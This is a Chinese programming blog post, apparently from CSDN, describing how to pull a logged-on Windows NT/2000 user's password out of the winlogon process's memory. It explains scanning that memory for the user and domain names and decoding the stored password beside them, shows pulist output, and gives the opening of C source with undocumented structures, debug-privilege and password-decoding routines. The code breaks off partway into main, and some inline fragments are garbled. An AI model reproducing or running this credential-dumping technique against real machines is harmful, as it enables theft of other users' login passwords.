VisualC++信息安全编程（5）获取windows登陆账户密码_vc获取在系统登录的用户-优快云博客

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本文介绍了如何在Windows NT系统中通过获取环境变量和WinLogon进程内存中的信息来定位并查找用户登录密码的方法。主要内容涉及Windows Logon Process的工作原理，以及使用pulist工具查找指定用户登录信息的步骤。请注意，此类操作涉及到系统安全，应当遵循合法合规的原则。

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Windows Logon Process，Windows NT 用户登陆程序，管理用户登录和退出。

因为登陆的域名和用户名是明文存储在winlogon进程里的，而Password是限定了查找本进程用户的密码
<167-174： GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400);
>，然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
&&
(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
> ，找到后就查后边的加密口令。

其实只要你自己指定用户名和winlogon进程去查找就行了，只要你是管理员，任何本机用msgina.dll图形登陆的用户口令都可以找到。

1. pulist，找到系统里登陆的域名和用户名，及winlogon进程id
2. 然后给每个winlogon进程id查找指定的用户就行了。

example:

C:\Documents and Settings\bingle>pulist
Process           PID User
Idle              0
System            8
smss.exe          164 NT AUTHORITY\SYSTEM
csrss.exe         192 NT AUTHORITY\SYSTEM
winlogon.exe      188 NT AUTHORITY\SYSTEM
wins.exe          1212 NT AUTHORITY\SYSTEM
Explorer.exe      388 TEST-2KSERVER\Administrator
internat.exe      1828 TEST-2KSERVER\Administrator
conime.exe        1868 TEST-2KSERVER\Administrator
msiexec.exe       1904 NT AUTHORITY\SYSTEM
tlntsvr.exe       1048 NT AUTHORITY\SYSTEM
taskmgr.exe       1752 TEST-2KSERVER\Administrator
csrss.exe         2056 NT AUTHORITY\SYSTEM
winlogon.exe      2416 NT AUTHORITY\SYSTEM
rdpclip.exe       2448 TEST-2KSERVER\clovea
Explorer.exe      2408 TEST-2KSERVER\clovea
internat.exe      1480 TEST-2KSERVER\clovea
cmd.exe           2508 TEST-2KSERVER\Administrator
ntshell.exe       368 TEST-2KSERVER\Administrator
ntshell.exe       1548 TEST-2KSERVER\Administrator
ntshell.exe       1504 TEST-2KSERVER\Administrator
csrss.exe         1088 NT AUTHORITY\SYSTEM
winlogon.exe      1876 NT AUTHORITY\SYSTEM
rdpclip.exe       1680 TEST-2KSERVER\bingle
Explorer.exe      2244 TEST-2KSERVER\bingle
conime.exe        2288 TEST-2KSERVER\bingle
internat.exe      1592 TEST-2KSERVER\bingle
cmd.exe           1692 TEST-2KSERVER\bingle
mdm.exe           2476 TEST-2KSERVER\bingle
taskmgr.exe       752 TEST-2KSERVER\bingle
pulist.exe        2532 TEST-2KSERVER\bingle

具体实现代码如下

#include <windows.h> #include <tchar.h> #include <stdio.h> #include <stdlib.h> typedef struct _UNICODE_STRING {
         USHORT Length;     USHORT MaximumLength;     PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // Undocumented typedef's typedef struct _QUERY_SYSTEM_INFORMATION {
         DWORD GrantedAccess;     DWORD PID;     WORD HandleType;     WORD HandleId;     DWORD Handle; } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER {
         DWORD Count;     DWORD Unk04;     DWORD Unk08; } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO {
         DWORD LoadAddress;     DWORD Size;     DWORD Unk08;     DWORD Enumerator;     DWORD Unk10;     char Name [0x108]; } PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO {
         DWORD HashByte;     DWORD Unk04;     DWORD Unk08;     DWORD Unk0C;     FILETIME LoggedOn;     DWORD Unk18;     DWORD Unk1C;     DWORD Unk20;     DWORD Unk24;     DWORD Unk28;     UNICODE_STRING EncodedPassword; } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING); // Private Prototypes BOOL IsWinNT (void); BOOL IsWin2K (void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWinNT (DWORD, PDWORD); BOOL LocatePasswordPageWin2K (DWORD, PDWORD); void DisplayPasswordWinNT (void); void DisplayPasswordWin2K (void); // Global Variables PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength = 0; PVOID RealPasswordP = NULL; PVOID PasswordP = NULL; DWORD HashByte = 0;wchar_t UserName [0x400]; wchar_t UserDomain [0x400]; int __cdecl main( <